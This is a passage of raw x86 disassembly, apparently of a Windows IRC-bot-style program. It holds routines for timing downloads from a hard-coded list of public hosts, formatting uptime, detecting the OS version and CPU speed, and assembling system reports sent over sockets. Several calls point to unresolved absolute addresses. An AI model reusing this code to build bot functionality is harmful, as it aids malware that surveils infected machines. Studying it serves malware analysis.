[ebp+arg_0] loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj push [ebp+var_4] call dword_4CBA6C push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_4276EC fmul flt_4276E8 call sub_41D174 loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41ABDE: ; CODE XREF: sub_41AA1E+149j push [ebp+var_4] call dword_4CBA6C push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx loc_41ABF7: ; CODE XREF: sub_41AA1E+19j ; sub_41AA1E+42j ... xor eax, eax jmp short loc_41ABD9 sub_41AA1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E push 8 mov esi, eax call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E add esp, 10h test esi, esi jz short loc_41ACFC test eax, eax jz short loc_41ACF8 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j mov ebx, esi jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j mov ebx, eax loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj ; sub_41ABFB+FFj push 0Ch call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E push 0Ch mov edi, eax call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD36 test eax, eax jz short loc_41AD32 lea esi, [eax+edi] shr esi, 1 jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej mov esi, edi jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj mov esi, eax loc_41AD38: ; CODE XREF: sub_41ABFB+135j ; sub_41ABFB+139j push 6 call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E push 6 mov edi, eax call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD70 test eax, eax jz short loc_41AD6C lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD6C: ; CODE XREF: sub_41ABFB+168j mov ecx, edi jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD70: ; CODE XREF: sub_41ABFB+164j mov ecx, eax loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj ; sub_41ABFB+173j xor eax, eax test ebx, ebx jz short loc_41AD7F mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD82 ; --------------------------------------------------------------------------- loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj push 2 pop edi loc_41AD82: ; CODE XREF: sub_41ABFB+182j test esi, esi jz short loc_41AD8A add eax, esi jmp short loc_41AD8B ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: sub_41ABFB+189j dec edi loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj test ecx, ecx jz short loc_41AD93 add eax, ecx jmp short loc_41AD94 ; --------------------------------------------------------------------------- loc_41AD93: ; CODE XREF: sub_41ABFB+192j dec edi loc_41AD94: ; CODE XREF: sub_41ABFB+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A990 push eax call sub_41C266 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_26C] push eax call sub_415D38 add esp, 30h pop edi pop esi pop ebx leave retn sub_41ABFB endp ; =============== S U B R O U T I N E ======================================= sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp ; sub_401ACD+29CDp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26A0891h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DBC90 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C360 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41ADD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26E05F4h test eax, eax jz short loc_41AED4 cmp [ebp+var_90], 4 jnz short loc_41AEAA cmp [ebp+var_8C], esi jnz short loc_41AE92 cmp [ebp+var_84], 1 jnz short loc_41AE85 push 1 pop esi loc_41AE85: ; CODE XREF: sub_41AE41+3Fj cmp [ebp+var_84], 2 jnz short loc_41AED4 push 1 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE92: ; CODE XREF: sub_41AE41+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE9F loc_41AE9B: ; CODE XREF: sub_41AE41+78j push 2 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE9F: ; CODE XREF: sub_41AE41+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AED4 jmp short loc_41AEC4 ; --------------------------------------------------------------------------- loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej cmp [ebp+var_90], 5 jnz short loc_41AED4 cmp [ebp+var_8C], esi jz short loc_41AE9B cmp [ebp+var_8C], 1 jnz short loc_41AEC8 loc_41AEC4: ; CODE XREF: sub_41AE41+67j push 3 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AEC8: ; CODE XREF: sub_41AE41+81j cmp [ebp+var_8C], 2 jnz short loc_41AED4 push 7 loc_41AED3: ; CODE XREF: sub_41AE41+4Fj ; sub_41AE41+5Cj ... pop esi loc_41AED4: ; CODE XREF: sub_41AE41+25j ; sub_41AE41+4Bj ... mov eax, esi pop esi leave retn sub_41AE41 endp ; =============== S U B R O U T I N E ======================================= sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p push ebx push esi push edi mov esi, 0F4240h loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj ; sub_41AED9+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2680EBDh rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41DCB0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41AEE1 jb short loc_41AF10 cmp ebx, esi ja short loc_41AEE1 loc_41AF10: ; CODE XREF: sub_41AED9+31j push 0 push 64h push edi push ebx call sub_41DD20 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF83 jb short loc_41AF2F cmp esi, 50h jnb short loc_41AF34 loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj push 4Bh xor edx, edx pop eax loc_41AF34: ; CODE XREF: sub_41AED9+54j test ecx, ecx ja short loc_41AF83 jb short loc_41AF3F cmp esi, 47h jnb short loc_41AF44 loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj push 42h xor edx, edx pop eax loc_41AF44: ; CODE XREF: sub_41AED9+64j test ecx, ecx ja short loc_41AF83 jb short loc_41AF4F cmp esi, 37h jnb short loc_41AF54 loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj push 32h xor edx, edx pop eax loc_41AF54: ; CODE XREF: sub_41AED9+74j test ecx, ecx ja short loc_41AF83 jb short loc_41AF5F cmp esi, 26h jnb short loc_41AF64 loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj push 21h xor edx, edx pop eax loc_41AF64: ; CODE XREF: sub_41AED9+84j test ecx, ecx ja short loc_41AF83 jb short loc_41AF6F cmp esi, 1Eh jnb short loc_41AF74 loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj push 19h xor edx, edx pop eax loc_41AF74: ; CODE XREF: sub_41AED9+94j test ecx, ecx ja short loc_41AF83 jb short loc_41AF7F cmp esi, 0Ah jnb short loc_41AF83 loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj xor eax, eax xor edx, edx loc_41AF83: ; CODE XREF: sub_41AED9+4Dj ; sub_41AED9+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AED9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43DB88 mov [ebp+var_CC], 94h nop call near ptr 26E05F4h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B016 cmp [ebp+var_C4], ebx jnz short loc_41AFF2 cmp [ebp+var_BC], 1 jnz short loc_41AFDC mov [ebp+var_4], offset dword_431620 loc_41AFDC: ; CODE XREF: sub_41AF8F+44j cmp [ebp+var_BC], 2 jnz loc_41B091 mov [ebp+var_4], offset dword_43161C jmp short loc_41B062 ; --------------------------------------------------------------------------- loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B004 mov [ebp+var_4], offset dword_431618 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B004: ; CODE XREF: sub_41AF8F+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B052 mov [ebp+var_4], offset dword_431614 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B016: ; CODE XREF: sub_41AF8F+33j cmp [ebp+var_C8], 5 jnz short loc_41B052 cmp [ebp+var_C4], ebx jnz short loc_41B030 mov [ebp+var_4], offset dword_431610 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B030: ; CODE XREF: sub_41AF8F+96j cmp [ebp+var_C4], 1 jnz short loc_41B042 mov [ebp+var_4], offset dword_43160C jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B042: ; CODE XREF: sub_41AF8F+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B059 loc_41B052: ; CODE XREF: sub_41AF8F+7Cj ; sub_41AF8F+8Ej mov [ebp+var_4], offset dword_431604 loc_41B059: ; CODE XREF: sub_41AF8F+73j ; sub_41AF8F+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B091 loc_41B062: ; CODE XREF: sub_41AF8F+61j cmp [ebp+var_B8], bl jz short loc_41B091 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_436BB4 push eax call sub_41C266 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B091: ; CODE XREF: sub_41AF8F+54j ; sub_41AF8F+D1j ... mov ax, word_4383AC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB8B4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B0CA lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj push [ebp+arg_4] call sub_40AA06 pop ecx push eax call dword_4CBA14 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB98C cmp eax, ebx jz short loc_41B0F3 push dword ptr [eax] jmp short loc_41B0F8 ; --------------------------------------------------------------------------- loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B0F8: ; CODE XREF: sub_41AF8F+162j lea eax, [ebp+var_3E4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2680ABAh lea eax, [ebp+var_114] push 46h push eax push offset dword_43AC78 push ebx mov esi, 409h push ebx push esi nop call near ptr 2760000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 2750000h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2850000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C3B1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41ADD8 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax call sub_41AED9 push edx push eax push offset dword_43AB9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p ; sub_401ACD+71F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BF70 add esp, 0Ch cmp dword_4CBABC, 0 jnz short loc_41B2AF push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB898 test eax, eax jnz short loc_41B298 lea eax, [ebp+var_8C] push offset dword_43ACF0 push eax call sub_41C266 pop ecx pop ecx loc_41B298: ; CODE XREF: sub_41B243+40j test [ebp+var_C], 1 jz short loc_41B2A5 push offset dword_43ACE8 jmp short loc_41B2AA ; --------------------------------------------------------------------------- loc_41B2A5: ; CODE XREF: sub_41B243+59j push offset off_43ACE4 loc_41B2AA: ; CODE XREF: sub_41B243+60j lea eax, [ebp+var_8] jmp short loc_41B2C7 ; --------------------------------------------------------------------------- loc_41B2AF: ; CODE XREF: sub_41B243+28j mov esi, offset off_43ACE0 lea eax, [ebp+var_8] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41B2C7: ; CODE XREF: sub_41B243+6Aj push eax call sub_41C266 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43AC9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43ADD0 call sub_41BF70 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BF70 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BF70 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BF70 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BF70 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB8D0 test eax, eax jz loc_41B49C cmp [ebp+var_34], ebx jbe short loc_41B3D9 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BFD0 add esp, 0Ch loc_41B3D9: ; CODE XREF: sub_41B302+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B3F7 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BFD0 add esp, 0Ch loc_41B3F7: ; CODE XREF: sub_41B302+DEj cmp [ebp+var_20], ebx jbe short loc_41B411 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BFD0 add esp, 0Ch loc_41B411: ; CODE XREF: sub_41B302+F8j cmp [ebp+var_18], ebx jbe short loc_41B42B push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BFD0 add esp, 0Ch loc_41B42B: ; CODE XREF: sub_41B302+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB984 call dword_4CB9A8 mov esi, eax cmp esi, ebx jz short loc_41B4B4 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB99C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B4BB push ebx push ebx push ebx push ebx push eax call dword_4CB948 test eax, eax jz short loc_41B495 push offset dword_43ADB4 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B495: ; CODE XREF: sub_41B302+18Aj push offset unk_43AD78 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B49C: ; CODE XREF: sub_41B302+B7j lea eax, [ebp+var_55C] push offset dword_43AD5C push eax call sub_41C266 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B4CE ; --------------------------------------------------------------------------- loc_41B4B4: ; CODE XREF: sub_41B302+153j push offset unk_43AD30 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B4BB: ; CODE XREF: sub_41B302+17Bj push offset unk_43AD00 loc_41B4C0: ; CODE XREF: sub_41B302+191j ; sub_41B302+198j ... lea eax, [ebp+var_55C] push eax call sub_41C266 pop ecx pop ecx loc_41B4CE: ; CODE XREF: sub_41B302+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B4F9 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409869 add esp, 14h loc_41B4F9: ; CODE XREF: sub_41B302+1D2j lea eax, [ebp+var_55C] push eax call sub_415D38 pop ecx push esi call dword_4CBA08 push [ebp+var_4] call dword_4CBA08 push [ebp+var_1D8] call sub_40B6D6 pop ecx push ebx nop call near ptr 26F0000h pop edi pop esi pop ebx sub_41B302 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p arg_0 = dword ptr 4 push esi push 100h mov esi, offset byte_4DBCCC push 0 push esi call sub_41BF70 add esp, 0Ch push [esp+4+arg_0] push offset aS_1 ; "%s" push 0FFh push esi call sub_41C360 add esp, 10h pop esi retn sub_41B52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B55B proc near ; CODE XREF: ___:0041B843p ; ___:0041B860p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4DBDD4 lea edi, [ebp+var_C] mov ax, word_43ADD4 movsd movsb mov esi, offset dword_4DBDCC lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_4346DC movsd mov [ebp+var_6], ax mov ax, word_4CB88C movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B627 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41B5AD: ; CODE XREF: sub_41B55B+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B5CD dec eax jnz short loc_41B61B push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5E1 ; --------------------------------------------------------------------------- loc_41B5CD: ; CODE XREF: sub_41B55B+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_6] loc_41B5E1: ; CODE XREF: sub_41B55B+70j push eax push edi call dword_4CBA24 push ebx call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B5FD push 4 lea eax, [ebp+var_C] jmp short loc_41B602 ; --------------------------------------------------------------------------- loc_41B5FD: ; CODE XREF: sub_41B55B+99j push 5 lea eax, [ebp+var_14] loc_41B602: ; CODE XREF: sub_41B55B+A0j push eax push edi call dword_4CBA24 push esi push ebx call sub_41B9C0 pop ecx push eax push ebx push edi call dword_4CBA24 loc_41B61B: ; CODE XREF: sub_41B55B+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B5AD pop ebx jmp short loc_41B69D ; --------------------------------------------------------------------------- loc_41B627: ; CODE XREF: sub_41B55B+42j dec eax jz short loc_41B646 dec eax jnz short loc_41B69D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B65D ; --------------------------------------------------------------------------- loc_41B646: ; CODE XREF: sub_41B55B+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_6] loc_41B65D: ; CODE XREF: sub_41B55B+E9j push eax push edi call dword_4CBA24 push [ebp+arg_4] call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B67B push 4 lea eax, [ebp+var_C] jmp short loc_41B680 ; --------------------------------------------------------------------------- loc_41B67B: ; CODE XREF: sub_41B55B+117j push 5 lea eax, [ebp+var_14] loc_41B680: ; CODE XREF: sub_41B55B+11Ej push eax push edi call dword_4CBA24 push esi push [ebp+arg_4] call sub_41B9C0 pop ecx push eax push [ebp+arg_4] push edi call dword_4CBA24 loc_41B69D: ; CODE XREF: sub_41B55B+CAj ; sub_41B55B+D0j pop edi pop esi leave retn sub_41B55B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset dword_43ADEC lea edi, [ebp-38h] mov ax, word_4346DC movsd movsd movsd movsb mov esi, offset dword_43ADE8 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4DBDD4 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43ADE4 lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43ADE0 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43ADDC lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B724 push eax call dword_4CBA6C loc_41B724: ; CODE XREF: ___:0041B71Bj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4CB9D4 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4CB97C test eax, eax jnz loc_41B820 loc_41B75C: ; CODE XREF: ___:0041B7CEj ; ___:0041B805j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4CB9EC cmp eax, esi jle loc_41B82E cmp eax, 0FFFFFFFFh jz loc_41B82E mov eax, edi sub eax, esi jz short loc_41B7D0 dec eax jz short loc_41B79E dec eax jz short loc_41B80A jmp short loc_41B800 ; --------------------------------------------------------------------------- loc_41B79E: ; CODE XREF: ___:0041B797j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-6] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4CBA24 push 2 pop edi jmp short loc_41B75C ; --------------------------------------------------------------------------- loc_41B7D0: ; CODE XREF: ___:0041B794j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop 